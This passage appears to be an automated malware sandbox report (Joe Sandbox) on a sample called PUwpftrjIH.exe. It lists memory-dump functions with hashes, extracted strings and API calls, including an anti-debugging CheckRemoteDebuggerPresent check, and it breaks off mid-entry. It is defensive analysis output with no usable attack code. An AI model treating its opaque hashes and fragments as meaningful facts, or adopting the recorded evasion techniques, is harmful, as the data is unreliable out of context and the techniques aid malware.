GetModuleHandleW.KERNELBASE(00000000), ref: 00F8D5BE

Strings

LUi, xrefs: 00F8D577

Memory Dump Source

Source File: 00000009.00000002.1762720291.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f80000_PUwpftrjIH.jbxd

Similarity

API ID: HandleModule
String ID: LUi
API String ID: 4139908857-2136847991
Opcode ID: 34ad895e2c7f888ec9b0413300337ed38112da37e02b6027534e7b79de41d02b
Instruction ID: a1a349b9fc9dccf327ed464daa1dae45f967ac9ae72699eca2354cc3da5f5dd5
Opcode Fuzzy Hash: 34ad895e2c7f888ec9b0413300337ed38112da37e02b6027534e7b79de41d02b
Instruction Fuzzy Hash: B811EDB6C002498FCB10DF9AC444BDEFBF4AF88324F14842AD869AB650D379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 083F5C50 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 083FA76D

Strings

LUi, xrefs: 083FA72A

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: MessagePost
String ID: LUi
API String ID: 410705778-2136847991
Opcode ID: 291e7b8ac91eb71b4ef273a9716c7a371d76919350dd193050aabf39cc53f7ad
Instruction ID: 27c774a74a9b22bcdddb02a8d4a8997d96ea1a2a61966f1be8fa2332dc96f283
Opcode Fuzzy Hash: 291e7b8ac91eb71b4ef273a9716c7a371d76919350dd193050aabf39cc53f7ad
Instruction Fuzzy Hash: 731103B5800358DFCB10DF9AC585BDEBBF8EB48324F20841AE958A7611C375A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 083FA708 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 083FA76D

Strings

LUi, xrefs: 083FA72A

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: MessagePost
String ID: LUi
API String ID: 410705778-2136847991
Opcode ID: 80cad85974a65a298b9753e29039c213026d06c55ac5cfd4895d201157bdaf58
Instruction ID: f98c01d5deb205ea2adda3885d8bfce7c7f56c443f4ae0ac7a89a8310691d68f
Opcode Fuzzy Hash: 80cad85974a65a298b9753e29039c213026d06c55ac5cfd4895d201157bdaf58
Instruction Fuzzy Hash: 2C1103B58003599FCB20DF9AD589BDEBFF4EB48324F20841AD559A7211C375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F2D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1762034400.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f2d000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82bb6fb91396d03942b1473a9b2de4ac5f83b25aba0df8b99cd2d20d4a437c8c
Instruction ID: 0be65557697d05b3af7ba653d9b3e4482d06e07561e86ae2074026b658bca3a1
Opcode Fuzzy Hash: 82bb6fb91396d03942b1473a9b2de4ac5f83b25aba0df8b99cd2d20d4a437c8c
Instruction Fuzzy Hash: A7213A72504240DFDB05DF14E9C0B27BF65FB94328F34C569E8054B256C376D856E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1762096884.0000000000F3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f3d000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef53c812816cb2145ffc78a3003dba315a556ee515d1682e11211ad4e00a7661
Instruction ID: 19aabfbd39324e077728a1739482deeb19e995ba52b7e1bb92d9f119cc1591d0
Opcode Fuzzy Hash: ef53c812816cb2145ffc78a3003dba315a556ee515d1682e11211ad4e00a7661
Instruction Fuzzy Hash: 6F212671904204EFDB05DF14E9C0B27BBA5FB84334F20C66DE8494B396C736D846DA61

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1762096884.0000000000F3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f3d000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651eb50c6c71ab8e7efe9e2b07ad15a29b9c3889e99ebce97fe8aef138a1b0ed
Instruction ID: 4b8e47fa1f3cab78e1349494b7119c2c97f4fd9a92f89d709df95d5de2a12137
Opcode Fuzzy Hash: 651eb50c6c71ab8e7efe9e2b07ad15a29b9c3889e99ebce97fe8aef138a1b0ed
Instruction Fuzzy Hash: BC21F5B1504200DFCB18DF14E5C4B16BB65FB84734F20C569D84A4B25AC336D847DA61

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1762096884.0000000000F3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f3d000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4aa16b31d7653e9c761bb92d50922c0f6bd1fbe2463d511fd6857de2ae0b683
Instruction ID: 437544e1a76286c47c7034fc79f19344b6cc6d7ec93ebd85d0783ff2431734ca
Opcode Fuzzy Hash: d4aa16b31d7653e9c761bb92d50922c0f6bd1fbe2463d511fd6857de2ae0b683
Instruction Fuzzy Hash: 192180755093808FCB06CF24D994715BF71EB46324F28C5EAD8498F2A7C33A980ADB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F2D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1762034400.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f2d000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: d9c904987faddc932053a32b693e3a36fcc80d0f57272c689c2a45d529b800eb
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 67110372804280CFCB06CF10D5C4B16BF71FB94328F28C6A9D8090B256C336D85ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1762096884.0000000000F3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f3d000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 996be3665a5de8b36d41f48cdb1adbbff3b48ad0309448b7e336a27446082e41
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 8C11BB75904280DFCB06CF10D9C4B16BBA1FB84324F24C6AAD8494B296C33AD80ADB61

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PUwpftrjIH.exePID: 7780, Parent PID: 7592COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 07276880 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07276FCC
$^q, xrefs: 07276F8B
$^q, xrefs: 07276FD8
$^q, xrefs: 07276FB4
$^q, xrefs: 07276F7F
$^q, xrefs: 07276FA8

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 50789d9599d1f9bb4ef2fb5645610a3d956250ca05f1073747e374989e0c1a7f
Instruction ID: 23a36599cadfbb04c9d599d19258b95aa4d9b99980d003db506a6783251f40b3
Opcode Fuzzy Hash: 50789d9599d1f9bb4ef2fb5645610a3d956250ca05f1073747e374989e0c1a7f
Instruction Fuzzy Hash: 31323E31E2061ACBCB14DF75C9545ADF7B6FFC9300F1096AAD409AB264EB30AD85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0727B5A8 Relevance: 3.0, Strings: 2, Instructions: 480
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0727B8E5
$^q, xrefs: 0727B8F1

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 5f58b25ec1e4ca883bd28926096af921a3f7b0fb9000e1ad4014c8b209325375
Instruction ID: 8e2edc04fe3b6702abcc4375d327876b06255bc92543d60ca0b59945d9a7ef5c
Opcode Fuzzy Hash: 5f58b25ec1e4ca883bd28926096af921a3f7b0fb9000e1ad4014c8b209325375
Instruction Fuzzy Hash: 52029CB0B102168FDB14DF68D69066EB7E2FF88314F148569D80ADB394DB35ED82CB81

Uniqueness

Uniqueness Score: -1.00%

Function 07270040 Relevance: 2.8, Instructions: 2761COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37f39902f995b920fa2451e70f21af8a8c05e394d95a1d5fb6ed1f8bcd7decf1
Instruction ID: 619fa6045b6a35511a22acc4bc33bb6b596197e88072b8d43dbd2156517f86d6
Opcode Fuzzy Hash: 37f39902f995b920fa2451e70f21af8a8c05e394d95a1d5fb6ed1f8bcd7decf1
Instruction Fuzzy Hash: 9A53F771D10B1A8ACB11EB68C980699F7B1FF99300F55D79AE45877221FB70AAC4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 072733C0 Relevance: 2.2, Instructions: 2244COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 159b3803ced504a9f0f9178497d1e0d47b010ce9365a780c39a6437f9d9b56dd
Instruction ID: 9d5f9f53d6538339257a68ee61ca605783f1131e44f6e4a27b99247522ab7727
Opcode Fuzzy Hash: 159b3803ced504a9f0f9178497d1e0d47b010ce9365a780c39a6437f9d9b56dd
Instruction Fuzzy Hash: 86331B71D1075A8EDB11EF68C88069DF7B1FF99300F15C69AD458AB221EB30AAD5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 072789B8 Relevance: 1.9, Strings: 1, Instructions: 604
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 072790B6

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 46bbc2ee886d223bb73cf2fdcbc4cec2a517cc8b33f892033cd85fb98419423c
Instruction ID: 3bdffe66c2b43acadbf460c6a6b46dc25d92610a63aea320959f870d2ccdc48c
Opcode Fuzzy Hash: 46bbc2ee886d223bb73cf2fdcbc4cec2a517cc8b33f892033cd85fb98419423c
Instruction Fuzzy Hash: C422F3B1E102169FDF25CB68C5946AEBBB2FF89310F20846AD445EB344DB35ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07270006 Relevance: 1.3, Instructions: 1334COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef9d921cd93c402f04fd40749e86a4dcada58dc1ac36885bdb99c7c6cefa9b83
Instruction ID: 0c9f6fdcb8db5948fc472576ecef55b346b186fbb01a571bba53b82224b09cf7
Opcode Fuzzy Hash: ef9d921cd93c402f04fd40749e86a4dcada58dc1ac36885bdb99c7c6cefa9b83
Instruction Fuzzy Hash: F8E20B71D10B5A8EDB20EF68C940599F7B1FF99300F15D69AE448B7221EB70AAD4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 07275A90 Relevance: 1.1, Instructions: 1053COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a3538b1775165d754878960e09f8b252a9a03d35e523a85e3907664c873df55
Instruction ID: 0736f09a9915c50270a728e6d8cc51659ad3a1b6122824ed239f2a10caf9fde2
Opcode Fuzzy Hash: 7a3538b1775165d754878960e09f8b252a9a03d35e523a85e3907664c873df55
Instruction Fuzzy Hash: 01A23674A10606CFDB64CB68C688BADBBF2FB49314F5484A9D409AB361DB35EC85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0727EA56 Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3ab514ec9f9d9380dd792fe4facd7b7a85aac54480c7cb9fc72aa001c11328f
Instruction ID: 21a8da7ebf9d06365705b157ce06a6da08899b39ebeef4d04beda15e6b9a0cd7
Opcode Fuzzy Hash: d3ab514ec9f9d9380dd792fe4facd7b7a85aac54480c7cb9fc72aa001c11328f
Instruction Fuzzy Hash: D02292B4F1020B8FDF24CA6CD6907AEB7A6FB89310F258966E405D7355DA34DC81CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0727EE70 Relevance: 8.0, Strings: 6, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0727F3B7
$^q, xrefs: 0727F413
$^q, xrefs: 0727F3AB
$^q, xrefs: 0727F3DF
$^q, xrefs: 0727F41F
$^q, xrefs: 0727F3EB

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 606d65c8f2eee392c558f6dedca2b92f5f02b86614852ba8b897257fc95e69b6
Instruction ID: 947ed798cb0a7712a3f06b8a277df0fc4461b08b26ee4f108df966db8549b3a8
Opcode Fuzzy Hash: 606d65c8f2eee392c558f6dedca2b92f5f02b86614852ba8b897257fc95e69b6
Instruction Fuzzy Hash: 94028EB0E1420B8FDB24CB68D7906ADB7B1FB85310F20896AD415DB345DB35EC86CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0727C978 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0727CA06
$^q, xrefs: 0727C9BF
$^q, xrefs: 0727C9CB
$^q, xrefs: 0727C9FA

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 02004def31fb98598292f98c7a5abddb5318dcb5f7756656d2e21b12d065b314
Instruction ID: c7079b23055135fbb16ecd6fea9f500ef022aa12202d98d232a364790eaa2796
Opcode Fuzzy Hash: 02004def31fb98598292f98c7a5abddb5318dcb5f7756656d2e21b12d065b314
Instruction Fuzzy Hash: 93915070B1021A9FDB54DF75D9507AEB3FAABC9300F10956AC809EB344EA74DD828B91

Uniqueness

Uniqueness Score: -1.00%

Function 07277F80 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 0727868D
\Ocq, xrefs: 07278137
XPcq, xrefs: 072780AD

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: 4513ce663a730de09771aa6a7379e724e513b577e676107096ac50fca9bda580
Instruction ID: c9db8c366103d1e546068a7f08bcf81a64bc9938fd7c9c65883d0f3d853e036e
Opcode Fuzzy Hash: 4513ce663a730de09771aa6a7379e724e513b577e676107096ac50fca9bda580
Instruction Fuzzy Hash: 95619070B1021A9FEB149FA8C954BAEBAF6FF88300F20842AD505EB394DB744D41CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0727C967 Relevance: 2.7, Strings: 2, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0727C9BF
$^q, xrefs: 0727C9FA

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 9eeddc700c6cf96ea9c854d644b65c9720ed6399bf5af3241673f9923d14d252
Instruction ID: a177aa884838235fd846f25b13527d4ad8a4f9f0858de85b4f6c88e5d2305dc0
Opcode Fuzzy Hash: 9eeddc700c6cf96ea9c854d644b65c9720ed6399bf5af3241673f9923d14d252
Instruction Fuzzy Hash: 92617270B102079FDB54DF74D960BAE73FAEB88240F10956AC409EB344EA34DC82CB95

Uniqueness

Uniqueness Score: -1.00%

Function 019C7EC0 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 019C7F3F

Memory Dump Source

Source File: 0000000C.00000002.4172988639.00000000019C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 019C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_19c0000_PUwpftrjIH.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 8de0b709d9e1c8624b2a824354a55e2829c8bb4d80bc37763d3f9b9a651eee0f
Instruction ID: 9027e9c2428850acbe2c74946d6279d7298fd28bc6a4f52aee0614cec45e812b
Opcode Fuzzy Hash: 8de0b709d9e1c8624b2a824354a55e2829c8bb4d80bc37763d3f9b9a651eee0f
Instruction Fuzzy Hash: BB2136B2800259CFCB14CF9AD4847EEBFF4AF49320F14846AE899A7350D778A944CF61

Uniqueness

Uniqueness Score: -1.00%

Function 019C7EC8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 019C7F3F

Memory Dump Source

Source File: 0000000C.00000002.4172988639.00000000019C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 019C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_19c0000_PUwpftrjIH.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: fe43d76167e1c59f1577e8663432ea769bbbcc72ebfb47fbe1bec2892c859ec7
Instruction ID: 436a9503651547c9cf04c7f8e4c757c1efb1c438e5e7ce76799694c75cba18d4
Opcode Fuzzy Hash: fe43d76167e1c59f1577e8663432ea769bbbcc72ebfb47fbe1bec2892c859ec7
Instruction Fuzzy Hash: CB2139B2801259CFCB14CF9AD484BEEFBF4AF49320F14846AE459A7350D778A944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 07277F71 Relevance: 1.4, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPcq, xrefs: 072780AD

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: XPcq
API String ID: 0-714321711
Opcode ID: 81b4ecef915eeb054e3eeeeb12fb776b710ed1ef209c7a6e92ae45145c604dbb
Instruction ID: e2504e923c887c126bdacb7b32aa74bf97c2b45193ce78c932ca11ac2048b0e7
Opcode Fuzzy Hash: 81b4ecef915eeb054e3eeeeb12fb776b710ed1ef209c7a6e92ae45145c604dbb
Instruction Fuzzy Hash: C7417F70B102099FDB159FA9C854BAEBBF6FF88700F20852AD505EB395DB748C41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07275918 Relevance: 1.4, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 07275A53

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 683a4de6a58723416d1977b9e85160da800138016248a7ff6d8473af00d96c5f
Instruction ID: 3f0b29aec19e318447b2fc1339ba892c25fff73f6f6e55478ac699928e039d12
Opcode Fuzzy Hash: 683a4de6a58723416d1977b9e85160da800138016248a7ff6d8473af00d96c5f
Instruction Fuzzy Hash: 3C31E171B00206CFCB199B75C66426FBAE7EB89610F108939D406DB384DE35DE46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07279A18 Relevance: .6, Instructions: 558COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64c296312c56575c6f964ba3ea28b3c4641ca28cc1509e5a50ef04be211ccfc4
Instruction ID: 711306e3fd603af3eac246b91f552e499d35605ddf96f93d0ca90a5357f64d3d
Opcode Fuzzy Hash: 64c296312c56575c6f964ba3ea28b3c4641ca28cc1509e5a50ef04be211ccfc4
Instruction Fuzzy Hash: 2612C270B102068FDB14DB68D694BADB7F2EF89310F10856AE445DB394DB35ED82CB52

Uniqueness

Uniqueness Score: -1.00%

Function 07279A08 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96f03706fb287a021c9a8a0557f9434a9b17d7f00206d260d166fb97ba9bdee1
Instruction ID: 67deff95d3f4362545aef6705d10072f000d04d94bec25486c08b8b373eadc7e
Opcode Fuzzy Hash: 96f03706fb287a021c9a8a0557f9434a9b17d7f00206d260d166fb97ba9bdee1
Instruction Fuzzy Hash: 38C191B4A102068FDF14DB68D694AADB7F2FF88300F24856AD845DB394DB35ED82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0727C250 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01892b12c742e635d003082edaf4521bfb06c3fe806aa2c371a54cec1e173c28
Instruction ID: 9e225411cb0a84671e43c091a400d453f190aa4a8c462f308fa837d413763834
Opcode Fuzzy Hash: 01892b12c742e635d003082edaf4521bfb06c3fe806aa2c371a54cec1e173c28
Instruction Fuzzy Hash: 2DA15D70B002168FDB18DF78C55076EB7B6EB89304F1085AAD809EB354DB35DD86CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0727A540 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9074982722136bd5a8c2a6fabae745908bb814994dece4cf20f642d1cf7752b7
Instruction ID: 5570dbcc1e904ba1cefb926194eac1671e9d0627e7102ec1f936926d827043f1
Opcode Fuzzy Hash: 9074982722136bd5a8c2a6fabae745908bb814994dece4cf20f642d1cf7752b7
Instruction Fuzzy Hash: F9A18F70A10216CFCB24DB68D654A6DB7F2FF84324F54C569D41AAB350DB75ED82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 07279618 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a01564a8681404c692a980afc1cc64eeddfa370a54ea9bdf6178fccbe140cb0
Instruction ID: de6e8ce0d5c938beb688c5a27c85f0e537f2c253deaec79e34379d39b7486994
Opcode Fuzzy Hash: 2a01564a8681404c692a980afc1cc64eeddfa370a54ea9bdf6178fccbe140cb0
Instruction Fuzzy Hash: 2761E3B1F001124FCB109A7EC89456FBAD7AFC5214B15403AD80EDB364EE75ED4287C2

Uniqueness

Uniqueness Score: -1.00%

Function 072776B8 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23fd5fa818676ffcdf0e94fb874d8fe56d9612b4521629462557a3041a176a15
Instruction ID: 98dc43fc50218375778d5aff2d0699a4daf2bebf279d13d61e960b0bc6593fa0
Opcode Fuzzy Hash: 23fd5fa818676ffcdf0e94fb874d8fe56d9612b4521629462557a3041a176a15
Instruction Fuzzy Hash: DA815B70B102069FDB14DBB9D56466EB7E6EB89300F148529D40ADB394EA34EC82CB92

Uniqueness

Uniqueness Score: -1.00%

Function 072779D4 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8a0b09bedd0f5249a2d32cbd1e9ae9aaa69802c4a1304ab6c588dc766f71afe
Instruction ID: dd58e07d3e16c7c5eec8719a4edf3fd31e02fde7d9bdac7a7c37b5efcd688cfd
Opcode Fuzzy Hash: b8a0b09bedd0f5249a2d32cbd1e9ae9aaa69802c4a1304ab6c588dc766f71afe
